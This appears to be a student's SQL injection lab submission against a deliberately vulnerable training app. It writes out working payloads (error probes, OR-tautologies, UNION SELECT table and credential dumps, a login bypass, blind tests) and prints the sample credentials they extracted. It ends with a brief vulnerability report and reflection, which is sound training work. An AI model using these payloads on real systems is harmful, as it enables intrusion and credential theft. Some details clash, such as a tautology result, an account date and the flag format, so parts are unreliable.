

SQL Injection Lab Submission

Part A: Checkpoint Questions

Q1: Product Search Verification

Search: firewall

Output:

Enterprise Firewall Pro

Category: Network Security

Product ID: 1

\$4,999.99

Q2: Error Message

Payload: '

Output:

SQL error: unrecognized token: ""

Q3: Result Count Comparison

Payloads:

' OR '1'='1 → 8 results

' OR '1'='2 → 8 results

Explanation: Same results indicate improper filtering.

Q4: Column Count

Payloads tested: ORDER BY 1–5

Result: 4 columns (5 caused error)

Q5: Table Enumeration

Payload: ' UNION SELECT 1,name,type,sql FROM sqlite_master--

Tables:

products

secret_flags

users

sqlite_sequence

sqlite_autoindex_users_1

Q6: User Extraction

Payload: ' UNION SELECT id,username,password,role FROM users--

Results:

admin:admin123

jsmith:password1

operator:oper@tor1

Q7: Auth Bypass

Payload: ' OR 1=1--

Output:

Welcome, admin!

Role: administrator

Email: admin@vulnapp.local

Account Created: 2023-07-17 16:35:48

FLAG{auth_bypass_success}

Q8: Blind Injection

?id=1 AND 1=1 → Product displayed

?id=1 AND 1=2 → No product found

Part B: Evidence Compilation

Payload Log Table (minimum 8 entries):

Payload	Result	Impact
firewall	1 result	Normal search
'	SQL error	Injection point
' OR '1'='1	8 results	Bypass
' ORDER BY 4--	Works	Column count
' ORDER BY 5--	Error	Confirm columns
' UNION SELECT 1,2,3,4--	Injected row	UNION works
' UNION SELECT name FROM sqlite_master--	Tables	Enumeration
' UNION SELECT id,username,password,role FROM users--	Credentials	Data breach

Search Results

[← Back to Search](#)

Searching for: ' UNION SELECT 1,2,3,4--

Query returned: 9 results

id	name	category	price
1	2	3	4
1	Enterprise Firewall Pro	Network Security	4999.99
2	Wireless Access Point X200	Networking	349.99
3	Endpoint Protection Suite	Endpoint Security	89.99
4	Network Switch 48-Port	Networking	1299
5	Vulnerability Scanner Pro	Assessment Tools	2499
6	Secure VPN Gateway	Network Security	899.99
7	Intrusion Detection System	Network Security	3499
8	USB Security Key	Authentication	49.99

Welcome, admin!

Role: administrator

Email: admin@vulnapp.local

Account Created: 2026-03-17 16:35:48

FLAG(auth_bypass_success)

[← Try Again](#)

Figure 1: UNION Injection

Figure 2: Auth Bypass

Part C: Vulnerability Assessment Report

Name: Declan Kates

Date: March 17, 2026

Target: <http://97.107.132.247/search/>

Scope: Search, Login, Lookup

Vulnerability 1

Endpoint: /search/search.php

Type: Error-based SQL Injection

Severity: High

Payload: '

Response: SQL error

Impact: Information disclosure

Remediation: Use prepared statements

Vulnerability 2

Endpoint: /search/search.php

Type: UNION SQL Injection

Severity: Critical

Payload: ' UNION SELECT id,username,password,role FROM users--

Response: Credentials exposed

Impact: Full database compromise

Remediation: Input validation

Vulnerability 3

Endpoint: /search/login_db.php

Type: Auth Bypass

Severity: Critical

Payload: ' OR 1=1--

Response: Admin login

Impact: Unauthorized access

Remediation: Secure authentication

Part D: Reflection

R1: An attacker could start by trying to connect into the application with the compromised credentials after retrieving usernames and passwords from the database. These credentials may also be used to access other systems like email accounts, corporate portals, or administrative dashboards if password reuse occurs, which is highly prevalent. Since the admin account offers the greatest degree of access and control over the system, the attacker would probably give priority to accounts with enhanced rights. They may make changes to data, make new accounts, or even keep persistent access if they had administrator access. Standard users and operators are examples of lower-level accounts that may nevertheless be helpful for lateral mobility or obtaining more data.

R2: The attacker will likely prioritize accounts with more rights as the admin account provides the most access and control over the system. If they had administrator access, they could create new accounts, alter data, or even maintain persistent access. Lower-level accounts, such as standard users and operators, could nevertheless be useful for lateral mobility or acquiring additional data. Blind SQL injection, on the other hand, is more challenging since it doesn't produce apparent

errors or data. Rather, the attacker must deduce outcomes by tracking shifts in the behavior of the application, such as whether a page loads successfully or yields no results. Because of this, the procedure takes longer and is slower, frequently requiring numerous queries to extract even tiny quantities of data.